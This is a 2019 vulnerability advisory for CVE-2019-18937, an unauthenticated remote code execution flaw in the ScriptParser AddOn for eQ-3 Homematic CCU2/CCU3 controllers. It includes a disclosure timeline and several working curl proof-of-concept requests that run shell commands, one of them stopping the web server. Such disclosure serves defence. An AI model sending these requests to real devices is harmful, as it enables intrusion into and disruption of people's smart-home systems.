CVE-2019-18937 eQ-3 Homematic AddOn 'ScriptParser' version 1.8 and prior on CCU2 and CCU3 allows Remote Code Execution by unauthenticated attackers with access to the web interface by usage of /addons/script/exec.cgi script, which executes TCL script content from HTTP POST request

Overview

  • CVE: CVE-2019-18937
  • Author: psytester
  • Title: eQ-3 Homematic AddOn ‘ScriptParser’ version 1.8 and prior on CCU2 and CCU3 allows Remote Code Execution by unauthenticated attackers with access to the web interface by usage of /addons/script/exec.cgi script, which executes TCL script content from HTTP POST request
  • Vulnerability Type: CWE-284: Improper Access Control
  • CVSSv3 Base Score: 10.0
  • CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Publishing Date: 14.11.2019
  • Updated: –
  • Vendor: eQ-3 AG for CCU Firmware is providing possibility to install AddOn software
  • Product: Homematic CCU2 and CCU3
  • Vendor eQ-3 contacted: 13.02.2019
  • Vendor eQ-3 response on 11.04.2019 with “not responsible for AddOns”
  • Addon itself:
    • Developer of ‘ScriptParser’ AddOn contacted: 13.08.2019 as issue #4
    • Developer of ‘ScriptParser’ AddOn confirmation: N.A.
    • ‘ScriptParser’ AddOn patch: N.A.
    • Affected ‘ScriptParser’ AddOn version: 1.8 and prior

Background

From Github ‘ScriptParser’ AddOn project page it’s almost clear that there is a known security issue, but a lot of people have installed the AddOn which opens the vulnerability:
Deutsch:

Da immer wieder nach einer besseren Möglichkeit gesucht wird, Scripte zu editieren, habe ich den alten Scriptparser mal in ein Installationspaket gepackt. Einfach als Zusatzsoftware installieren/deinstallieren. Aufruf über den Browser mit http://IPAdressederCCU/addons/script Achtung: Der Parser ist nicht passwortgesichert und arbeitet auch nicht auf Session-Basis! Mit anderen Worten, wer Zugriff auf den Port 80 der CCU hat, kann den aufrufen und Skripte ausführen!

English:

Since there is always the search for a better way to edit scripts, I packed the old script parser into an installation package. Just install/uninstall it as additional software. Call via the browser with http://IPAdressederCCU/addons/script Attention: The parser is not password protected and does not work on session basis! In other words, if you have access to port 80 of the CCU, you can call it and execute scripts!

From eQ-3 vendor’s website for CCU2:
HomeMatic Central Control Unit CCU2

Homematic Central Control Unit is the central element of your Homematic system, offering a whole range of control, monitoring and configuration options for all the Homematic devices in your installation
[….]

From eQ-3 vendor’s website for CCU3:
The Central Control Unit CCU3 is the central element for local control of the Homematic IP smart home system. It represents the next generation of our proven Homematic Central Control Units CCU1 and CCU2. Operation via the Central Control Unit CCU3 can be used alternatively to the Homematic IP Access Point. While the Access Point establishes the connection to the free Homematic IP cloud and enables operation of the smart home system via a smartphone app, the Central Control Unit CCU3 works locally via a browser-based web interface (WebUI). Thanks to local configuration and operation as well as the option to create direct device connections, reliable and fail-proof operation of the smart home system is guaranteed at all times – even in the event of Internet failures.
[….]

Issue Description

While analyzing the CCU web interface based on given page files in file system path /www, this is another Improper Access Control resulting into Remote Code Execution vulnerability located in ‘ScriptParser’ AddOn, if it’s installed. This vulnerability can be exploited by unauthenticated attackers with access to the web interface.

The following HTTP requests in Web Browser illustrates the attack vectors:

  1. RCE with Homematic undocumented internal system.Exec() call:
    curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("sleep 4;");'
    curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("/bin/touch /tmp/testfile;");'
    curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("/etc/init.d/S50lighttpd stop;");'
    
  2. If also the popular CUxD AddOn is installed, another RCE is possible by abuse of the virtual CUxD’CMD_EXEC’ device:
    curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/bin/touch /tmp/testfile");'
    curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/etc/init.d/S50lighttpd stop");'
    

CVE

CVE-2019-18937

CVSSv3 Base Score

CVSSv3 Base Score: 10.0

CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Credit

psytester

Not owning an original CCU2 or CCU3, but you want to analyze the CCU ‘for free’?
You can download
piVCCU for running the original CCU3 Firmware in lxc container on RaspberryPi
RaspberryMatic for running the opensource OCCU based release on different boards

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

The contents of this advisory are copyright (c) 2019 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Written on November 14, 2019